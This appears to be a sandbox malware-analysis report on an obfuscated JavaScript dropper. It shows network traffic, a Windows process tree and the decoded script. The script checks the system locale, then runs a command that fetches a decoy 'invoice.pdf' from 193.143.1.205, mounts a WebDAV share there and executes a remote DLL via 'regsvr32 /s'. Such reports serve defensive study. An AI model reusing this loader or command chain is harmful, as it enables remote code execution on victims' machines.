Jan 10, 2025 18:14:14.737019062 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 18:14:14.737031937 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 18:14:14.737046003 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 18:14:14.741986036 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	61226	193.143.1.205	8888	4372	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:14:16.028284073 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:14:16.869834900 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:14:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	12:13:53
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17048156412338914445.js"
Imagebase:	0x7ff618c70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:13:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll
Imagebase:	0x7ff6b9ed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:13:54
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:13:55
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:14:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	12:14:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b9ed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:14:15
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75e920000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:14:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:14:15
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	12:14:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1648,i,5533572274708522067,2583551594818797264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fsrvcmopx() {	fsrvcmopx() ➔ undefined
1	xtbivrweg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var abqblij = this[gqslp + cfqkh + rrppwyuu + fgnwy + dltiw + cfjpjap + pucmmhe + faoubrco] ( this[scmfnwngp + otrgkd + oubinamep + rrppwyuu + dmyykq + gqslp + faoubrco][fupvebl + rrppwyuu + dltiw + cfqkh + faoubrco + dltiw + luitz + mlszd + rgrib + dltiw + oubinamep + faoubrco] ( scmfnwngp + otrgkd + oubinamep + rrppwyuu + dmyykq + gqslp + faoubrco + oibkcfly + otrgkd + fyjom + dltiw + ynmezz + ynmezz ) [qllaurh + dltiw + hehcgx + qllaurh + dltiw + cfqkh + kuisjdxw] ( muompzpc + myalgbf + hyvuiunr + dkhnd + ikbooebg + fupvebl + vgrhreq + qllaurh + qllaurh + hyvuiunr + tzzpbdjhk + fwbucxzue + ikbooebg + vgrhreq + otrgkd + hyvuiunr + qllaurh + yqgkqhtvw + fupvebl + vrbat + pucmmhe + faoubrco + rrppwyuu + vrbat + ynmezz + uoqnaka + moacwocx + cfqkh + pucmmhe + dltiw + ynmezz + yqgkqhtvw + cfjpjap + pucmmhe + faoubrco + dltiw + rrppwyuu + pucmmhe + cfqkh + faoubrco + dmyykq + vrbat + pucmmhe + cfqkh + ynmezz + yqgkqhtvw + riryiga + vrbat + oubinamep + cfqkh + ynmezz + dltiw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( twsbjwzhz = 0 ; twsbjwzhz < xtbivrweg[ynmezz + dltiw + pucmmhe + hehcgx + faoubrco + fyjom] ; ++ twsbjwzhz )
4	{
5	if ( abqblij == xtbivrweg[twsbjwzhz] )
6	{
7	abqblij = true;
8	break ;
9	}
10	}
11	if ( abqblij !== true )
12	this[scmfnwngp + otrgkd + oubinamep + rrppwyuu + dmyykq + gqslp + faoubrco][qggltjhg + hpvzzlpt + dmyykq + faoubrco] ( );
13	this[scmfnwngp + otrgkd + oubinamep + rrppwyuu + dmyykq + gqslp + faoubrco][fupvebl + rrppwyuu + dltiw + cfqkh + faoubrco + dltiw + luitz + mlszd + rgrib + dltiw + oubinamep + faoubrco] ( scmfnwngp + otrgkd + oubinamep + rrppwyuu + dmyykq + gqslp + faoubrco + oibkcfly + otrgkd + fyjom + dltiw + ynmezz + ynmezz ) [rrppwyuu + hpvzzlpt + pucmmhe] ( oubinamep + pmgepg + kuisjdxw + uoqnaka + dmgjscqol + oubinamep + uoqnaka + gqslp + vrbat + jxqnb + dltiw + rrppwyuu + fgnwy + fyjom + dltiw + ynmezz + ynmezz + oibkcfly + dltiw + qreiwg + dltiw + uoqnaka + yckpaxjf + fupvebl + vrbat + pmgepg + pmgepg + cfqkh + pucmmhe + kuisjdxw + uoqnaka + srcwg + cfjpjap + pucmmhe + qgawt + vrbat + upkvr + dltiw + yckpaxjf + scmfnwngp + dltiw + mlszd + qllaurh + dltiw + wwotpl + hpvzzlpt + dltiw + fgnwy + faoubrco + uoqnaka + yckpaxjf + luitz + hpvzzlpt + faoubrco + jrpjf + dmyykq + ynmezz + dltiw + uoqnaka + vflgcqg + faoubrco + dltiw + pmgepg + gqslp + vflgcqg + yqgkqhtvw + dmyykq + pucmmhe + qgawt + vrbat + dmyykq + oubinamep + dltiw + oibkcfly + gqslp + kuisjdxw + awyosq + uoqnaka + fyjom + faoubrco + faoubrco + gqslp + khjhra + dmgjscqol + dmgjscqol + fjrenb + kstnvwr + ulxcs + oibkcfly + fjrenb + qnmfbsxq + ulxcs + oibkcfly + fjrenb + oibkcfly + dpluan + yitxjpbs + cdpdtx + dmgjscqol + dmyykq + pucmmhe + qgawt + vrbat + dmyykq + oubinamep + dltiw + oibkcfly + gqslp + fyjom + gqslp + srcwg + ocgwb + ocgwb + fgnwy + faoubrco + cfqkh + rrppwyuu + faoubrco + uoqnaka + vflgcqg + faoubrco + dltiw + pmgepg + gqslp + vflgcqg + yqgkqhtvw + dmyykq + pucmmhe + qgawt + vrbat + dmyykq + oubinamep + dltiw + oibkcfly + gqslp + kuisjdxw + awyosq + ocgwb + ocgwb + oubinamep + pmgepg + kuisjdxw + uoqnaka + dmgjscqol + oubinamep + uoqnaka + pucmmhe + dltiw + faoubrco + uoqnaka + hpvzzlpt + fgnwy + dltiw + uoqnaka + yqgkqhtvw + yqgkqhtvw + fjrenb + kstnvwr + ulxcs + oibkcfly + fjrenb + qnmfbsxq + ulxcs + oibkcfly + fjrenb + oibkcfly + dpluan + yitxjpbs + cdpdtx + szqgcfg + igcaewf + igcaewf + igcaewf + igcaewf + yqgkqhtvw + kuisjdxw + cfqkh + qgawt + jxqnb + jxqnb + jxqnb + rrppwyuu + vrbat + vrbat + faoubrco + yqgkqhtvw + ocgwb + ocgwb + oubinamep + pmgepg + kuisjdxw + uoqnaka + dmgjscqol + oubinamep + uoqnaka + rrppwyuu + dltiw + hehcgx + fgnwy + qgawt + rrppwyuu + ulxcs + dpluan + uoqnaka + dmgjscqol + fgnwy + uoqnaka + yqgkqhtvw + yqgkqhtvw + fjrenb + kstnvwr + ulxcs + oibkcfly + fjrenb + qnmfbsxq + ulxcs + oibkcfly + fjrenb + oibkcfly + dpluan + yitxjpbs + cdpdtx + szqgcfg + igcaewf + igcaewf + igcaewf + igcaewf + yqgkqhtvw + kuisjdxw + cfqkh + qgawt + jxqnb + jxqnb + jxqnb + rrppwyuu + vrbat + vrbat + faoubrco + yqgkqhtvw + dpluan + dhfwkmix + dhfwkmix + yitxjpbs + fjrenb + fjrenb + cdpdtx + fjrenb + qnmfbsxq + qnmfbsxq + dpluan + fjrenb + ulxcs + cdpdtx + ulxcs + oibkcfly + kuisjdxw + ynmezz + ynmezz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\266011514421353.dll",0,false) ➔ 0
14	}
15	scmfnwngp = "f";
16	scmfnwngp = "s";
17	scmfnwngp = "n";
18	scmfnwngp = "S";
19	scmfnwngp = "j";
20	scmfnwngp = "Q";
21	scmfnwngp = "z";
22	scmfnwngp = "n";
23	scmfnwngp = "D";
24	scmfnwngp = "g";
25	scmfnwngp = "J";
26	scmfnwngp = "l";
27	scmfnwngp = "b";
28	scmfnwngp = "X";
29	scmfnwngp = "D";
30	scmfnwngp = "Z";
31	scmfnwngp = "D";
32	scmfnwngp = "X";
33	scmfnwngp = "t";
34	scmfnwngp = "G";
35	scmfnwngp = "H";
36	scmfnwngp = "a";
37	scmfnwngp = "g";
38	scmfnwngp = "r";
39	scmfnwngp = "O";
40	scmfnwngp = "c";
41	scmfnwngp = "H";
42	scmfnwngp = "v";
43	scmfnwngp = "P";
44	scmfnwngp = "z";
45	scmfnwngp = "e";
46	scmfnwngp = "V";
47	scmfnwngp = "u";
48	scmfnwngp = "N";
49	scmfnwngp = "n";
50	scmfnwngp = "k";
51	scmfnwngp = "j";
52	scmfnwngp = "b";
53	scmfnwngp = "W";
54	uoqnaka = "U";
55	uoqnaka = "b";
56	uoqnaka = "h";
57	uoqnaka = "m";
58	uoqnaka = "s";
59	uoqnaka = "v";
60	uoqnaka = "m";
61	uoqnaka = "s";
62	uoqnaka = "x";
63	uoqnaka = " ";
64	qnmfbsxq = "r";
65	qnmfbsxq = "U";
66	qnmfbsxq = "o";
67	qnmfbsxq = "E";
68	qnmfbsxq = "p";
69	qnmfbsxq = "F";
70	qnmfbsxq = "R";
71	qnmfbsxq = "Q";
72	qnmfbsxq = "A";
73	qnmfbsxq = "D";
74	qnmfbsxq = "S";
75	qnmfbsxq = "m";
76	qnmfbsxq = "E";
77	qnmfbsxq = "h";
78	qnmfbsxq = "U";
79	qnmfbsxq = "v";
80	qnmfbsxq = "b";
81	qnmfbsxq = "R";
82	qnmfbsxq = "c";
83	qnmfbsxq = "v";
84	qnmfbsxq = "U";
85	qnmfbsxq = "A";
86	qnmfbsxq = "o";
87	qnmfbsxq = "W";
88	qnmfbsxq = "q";
89	qnmfbsxq = "x";
90	qnmfbsxq = "o";
91	qnmfbsxq = "p";
92	qnmfbsxq = "d";
93	qnmfbsxq = "J";
94	qnmfbsxq = "u";
95	qnmfbsxq = "H";
96	qnmfbsxq = "g";
97	qnmfbsxq = "k";
98	qnmfbsxq = "z";
99	qnmfbsxq = "E";
100	qnmfbsxq = "c";
101	qnmfbsxq = "A";
102	qnmfbsxq = "J";
103	qnmfbsxq = "c";
104	qnmfbsxq = "4";
105	szqgcfg = "v";
106	szqgcfg = "p";
107	szqgcfg = "Y";
108	szqgcfg = "k";
109	szqgcfg = "E";
110	szqgcfg = "a";
111	szqgcfg = "z";
112	szqgcfg = "x";
113	szqgcfg = "c";
114	szqgcfg = "x";
115	szqgcfg = "M";
116	szqgcfg = "Q";
117	szqgcfg = "D";
118	szqgcfg = "e";
119	szqgcfg = "v";
120	szqgcfg = "G";
121	szqgcfg = "N";
122	szqgcfg = "S";
123	szqgcfg = "K";
124	szqgcfg = "H";
125	szqgcfg = "G";
126	szqgcfg = "x";
127	szqgcfg = "g";
128	szqgcfg = "H";
129	szqgcfg = "@";
130	fjrenb = "e";
131	fjrenb = "n";
132	fjrenb = "n";
133	fjrenb = "O";
134	fjrenb = "w";
135	fjrenb = "e";
136	fjrenb = "o";
137	fjrenb = "R";
138	fjrenb = "q";
139	fjrenb = "j";
140	fjrenb = "o";
141	fjrenb = "Q";
142	fjrenb = "y";
143	fjrenb = "k";
144	fjrenb = "P";
145	fjrenb = "e";
146	fjrenb = "Z";
147	fjrenb = "K";
148	fjrenb = "F";
149	fjrenb = "o";
150	fjrenb = "C";
151	fjrenb = "e";
152	fjrenb = "L";
153	fjrenb = "B";
154	fjrenb = "V";
155	fjrenb = "I";
156	fjrenb = "w";
157	fjrenb = "1";
158	hyvuiunr = "m";
159	hyvuiunr = "f";
160	hyvuiunr = "B";
161	hyvuiunr = "d";
162	hyvuiunr = "F";
163	hyvuiunr = "M";
164	hyvuiunr = "K";
165	hyvuiunr = "E";
166	hyvuiunr = "k";
167	hyvuiunr = "U";
168	hyvuiunr = "z";
169	hyvuiunr = "k";
170	hyvuiunr = "X";
171	hyvuiunr = "C";
172	hyvuiunr = "e";
173	hyvuiunr = "k";
174	hyvuiunr = "D";
175	hyvuiunr = "O";
176	hyvuiunr = "M";
177	hyvuiunr = "f";
178	hyvuiunr = "i";
179	hyvuiunr = "G";
180	hyvuiunr = "r";
181	hyvuiunr = "g";
182	hyvuiunr = "R";
183	hyvuiunr = "z";
184	hyvuiunr = "v";
185	hyvuiunr = "n";
186	hyvuiunr = "v";
187	hyvuiunr = "Y";
188	hyvuiunr = "N";
189	hyvuiunr = "I";
190	hyvuiunr = "c";
191	hyvuiunr = "l";
192	hyvuiunr = "q";
193	hyvuiunr = "L";
194	hyvuiunr = "E";
195	kstnvwr = "u";
196	kstnvwr = "f";
197	kstnvwr = "c";
198	kstnvwr = "g";
199	kstnvwr = "h";
200	kstnvwr = "F";
201	kstnvwr = "i";
202	kstnvwr = "d";
203	kstnvwr = "e";
204	kstnvwr = "l";
205	kstnvwr = "C";
206	kstnvwr = "M";
207	kstnvwr = "r";
208	kstnvwr = "R";
209	kstnvwr = "h";
210	kstnvwr = "h";
211	kstnvwr = "E";
212	kstnvwr = "Q";
213	kstnvwr = "M";
214	kstnvwr = "Y";
215	kstnvwr = "C";
216	kstnvwr = "W";
217	kstnvwr = "z";
218	kstnvwr = "e";
219	kstnvwr = "D";
220	kstnvwr = "9";
221	qggltjhg = "o";
222	qggltjhg = "H";
223	qggltjhg = "T";
224	qggltjhg = "n";
225	qggltjhg = "M";
226	qggltjhg = "D";
227	qggltjhg = "Q";
228	qggltjhg = "D";
229	qggltjhg = "Y";
230	qggltjhg = "A";
231	qggltjhg = "c";
232	qggltjhg = "v";
233	qggltjhg = "y";
234	qggltjhg = "B";
235	qggltjhg = "F";
236	qggltjhg = "Q";
237	qggltjhg = "i";
238	qggltjhg = "h";
239	qggltjhg = "u";
240	qggltjhg = "X";
241	qggltjhg = "W";
242	qggltjhg = "u";
243	qggltjhg = "q";
244	qggltjhg = "y";
245	qggltjhg = "Q";
246	rgrib = "s";
247	rgrib = "P";
248	rgrib = "U";
249	rgrib = "W";
250	rgrib = "Y";
251	rgrib = "n";
252	rgrib = "Z";
253	rgrib = "w";
254	rgrib = "o";
255	rgrib = "W";
256	rgrib = "I";
257	rgrib = "x";
258	rgrib = "u";
259	rgrib = "Q";
260	rgrib = "P";
261	rgrib = "e";
262	rgrib = "p";
263	rgrib = "Y";
264	rgrib = "E";
265	rgrib = "N";
266	rgrib = "h";
267	rgrib = "q";
268	rgrib = "U";
269	rgrib = "A";
270	rgrib = "I";
271	rgrib = "j";
272	rgrib = "m";
273	rgrib = "o";
274	rgrib = "Y";
275	rgrib = "j";
276	jxqnb = "A";
277	jxqnb = "s";
278	jxqnb = "m";
279	jxqnb = "Q";
280	jxqnb = "Z";
281	jxqnb = "t";
282	jxqnb = "n";
283	jxqnb = "c";
284	jxqnb = "f";
285	jxqnb = "D";
286	jxqnb = "n";
287	jxqnb = "Y";
288	jxqnb = "m";
289	jxqnb = "A";
290	jxqnb = "d";
291	jxqnb = "n";
292	jxqnb = "m";
293	jxqnb = "R";
294	jxqnb = "P";
295	jxqnb = "n";
296	jxqnb = "q";
297	jxqnb = "U";
298	jxqnb = "B";
299	jxqnb = "H";
300	jxqnb = "G";
301	jxqnb = "J";
302	jxqnb = "S";
303	jxqnb = "h";
304	jxqnb = "q";
305	jxqnb = "A";
306	jxqnb = "y";
307	jxqnb = "P";
308	jxqnb = "X";
309	jxqnb = "l";
310	jxqnb = "W";
311	jxqnb = "e";
312	jxqnb = "P";
313	jxqnb = "X";
314	jxqnb = "h";
315	jxqnb = "f";
316	jxqnb = "w";
317	oubinamep = "Y";
318	oubinamep = "t";
319	oubinamep = "u";
320	oubinamep = "r";
321	oubinamep = "o";
322	oubinamep = "n";
323	oubinamep = "l";
324	oubinamep = "S";
325	oubinamep = "f";
326	oubinamep = "v";
327	oubinamep = "b";
328	oubinamep = "N";
329	oubinamep = "B";
330	oubinamep = "d";
331	oubinamep = "A";
332	oubinamep = "O";
333	oubinamep = "g";
334	oubinamep = "d";
335	oubinamep = "b";
336	oubinamep = "J";
337	oubinamep = "y";
338	oubinamep = "F";
339	oubinamep = "a";
340	oubinamep = "T";
341	oubinamep = "W";
342	oubinamep = "k";
343	oubinamep = "y";
344	oubinamep = "c";
345	yitxjpbs = "X";
346	yitxjpbs = "g";
347	yitxjpbs = "c";
348	yitxjpbs = "X";
349	yitxjpbs = "D";
350	yitxjpbs = "s";
351	yitxjpbs = "B";
352	yitxjpbs = "R";
353	yitxjpbs = "S";
354	yitxjpbs = "V";
355	yitxjpbs = "Y";
356	yitxjpbs = "h";
357	yitxjpbs = "S";
358	yitxjpbs = "o";
359	yitxjpbs = "F";
360	yitxjpbs = "A";
361	yitxjpbs = "p";
362	yitxjpbs = "M";
363	yitxjpbs = "o";
364	yitxjpbs = "G";
365	yitxjpbs = "R";
366	yitxjpbs = "R";
367	yitxjpbs = "o";
368	yitxjpbs = "0";
369	vgrhreq = "p";
370	vgrhreq = "K";
371	vgrhreq = "O";
372	vgrhreq = "U";
373	vgrhreq = "D";
374	vgrhreq = "U";
375	ikbooebg = "V";
376	ikbooebg = "K";
377	ikbooebg = "t";
378	ikbooebg = "p";
379	ikbooebg = "_";
380	qreiwg = "O";
381	qreiwg = "T";
382	qreiwg = "t";
383	qreiwg = "W";
384	qreiwg = "d";
385	qreiwg = "w";
386	qreiwg = "s";
387	qreiwg = "f";
388	qreiwg = "b";
389	qreiwg = "X";
390	qreiwg = "D";
391	qreiwg = "O";
392	qreiwg = "Q";
393	qreiwg = "b";
394	qreiwg = "Y";
395	qreiwg = "k";
396	qreiwg = "S";
397	qreiwg = "L";
398	qreiwg = "g";
399	qreiwg = "x";
400	dkhnd = "O";
401	dkhnd = "B";
402	dkhnd = "Z";
403	dkhnd = "Q";
404	dkhnd = "s";
405	dkhnd = "A";
406	dkhnd = "F";
407	dkhnd = "w";
408	dkhnd = "n";
409	dkhnd = "y";
410	dkhnd = "T";
411	dkhnd = "V";
412	dkhnd = "I";
413	dkhnd = "z";
414	dkhnd = "Z";
415	dkhnd = "U";
416	dkhnd = "T";
417	dkhnd = "j";
418	dkhnd = "X";
419	dkhnd = "P";
420	dkhnd = "H";
421	dkhnd = "Z";
422	dkhnd = "Q";
423	dkhnd = "i";
424	dkhnd = "Z";
425	dkhnd = "k";
426	dkhnd = "E";
427	dkhnd = "o";
428	dkhnd = "d";
429	dkhnd = "O";
430	dkhnd = "n";
431	dkhnd = "H";
432	dkhnd = "b";
433	dkhnd = "G";
434	dkhnd = "Y";
435	awyosq = "j";
436	awyosq = "g";
437	awyosq = "H";
438	awyosq = "A";
439	awyosq = "z";
440	awyosq = "A";
441	awyosq = "H";
442	awyosq = "e";
443	awyosq = "f";
444	awyosq = "g";
445	awyosq = "f";
446	awyosq = "P";
447	awyosq = "E";
448	awyosq = "t";
449	awyosq = "f";
450	awyosq = "I";
451	awyosq = "G";
452	awyosq = "S";
453	awyosq = "d";
454	awyosq = "I";
455	awyosq = "c";
456	awyosq = "k";
457	awyosq = "m";
458	awyosq = "W";
459	awyosq = "G";
460	awyosq = "b";
461	awyosq = "W";
462	awyosq = "x";
463	awyosq = "m";
464	awyosq = "z";
465	awyosq = "E";
466	awyosq = "j";
467	awyosq = "Q";
468	awyosq = "k";
469	awyosq = "z";
470	awyosq = "f";
471	awyosq = "y";
472	awyosq = "G";
473	awyosq = "V";
474	awyosq = "t";
475	awyosq = "k";
476	awyosq = "f";
477	pucmmhe = "G";
478	pucmmhe = "A";
479	pucmmhe = "m";
480	pucmmhe = "E";
481	pucmmhe = "I";
482	pucmmhe = "P";
483	pucmmhe = "t";
484	pucmmhe = "J";
485	pucmmhe = "D";
486	pucmmhe = "K";
487	pucmmhe = "s";
488	pucmmhe = "y";
489	pucmmhe = "O";
490	pucmmhe = "Y";
491	pucmmhe = "H";
492	pucmmhe = "K";
493	pucmmhe = "J";
494	pucmmhe = "g";
495	pucmmhe = "t";
496	pucmmhe = "e";
497	pucmmhe = "E";
498	pucmmhe = "V";
499	pucmmhe = "V";
500	pucmmhe = "E";
501	pucmmhe = "L";
502	pucmmhe = "q";
503	pucmmhe = "V";
504	pucmmhe = "y";
505	pucmmhe = "p";
506	pucmmhe = "W";
507	pucmmhe = "T";
508	pucmmhe = "K";
509	pucmmhe = "V";
510	pucmmhe = "a";
511	pucmmhe = "G";
512	pucmmhe = "a";
513	pucmmhe = "g";
514	pucmmhe = "w";
515	pucmmhe = "G";
516	pucmmhe = "k";
517	pucmmhe = "n";
518	rrppwyuu = "d";
519	rrppwyuu = "Q";
520	rrppwyuu = "u";
521	rrppwyuu = "v";
522	rrppwyuu = "Z";
523	rrppwyuu = "I";
524	rrppwyuu = "j";
525	rrppwyuu = "B";
526	rrppwyuu = "G";
527	rrppwyuu = "n";
528	rrppwyuu = "r";
529	rrppwyuu = "z";
530	rrppwyuu = "f";
531	rrppwyuu = "N";
532	rrppwyuu = "r";
533	khjhra = "A";
534	khjhra = ":";
535	hpvzzlpt = "x";
536	hpvzzlpt = "q";
537	hpvzzlpt = "c";
538	hpvzzlpt = "H";
539	hpvzzlpt = "F";
540	hpvzzlpt = "t";
541	hpvzzlpt = "I";
542	hpvzzlpt = "u";
543	fupvebl = "R";
544	fupvebl = "a";
545	fupvebl = "k";
546	fupvebl = "u";
547	fupvebl = "e";
548	fupvebl = "K";
549	fupvebl = "X";
550	fupvebl = "d";
551	fupvebl = "T";
552	fupvebl = "Y";
553	fupvebl = "i";
554	fupvebl = "u";
555	fupvebl = "X";
556	fupvebl = "O";
557	fupvebl = "I";
558	fupvebl = "K";
559	fupvebl = "Z";
560	fupvebl = "e";
561	fupvebl = "I";
562	fupvebl = "D";
563	fupvebl = "m";
564	fupvebl = "G";
565	fupvebl = "Q";
566	fupvebl = "q";
567	fupvebl = "D";
568	fupvebl = "Q";
569	fupvebl = "K";
570	fupvebl = "H";
571	fupvebl = "c";
572	fupvebl = "W";
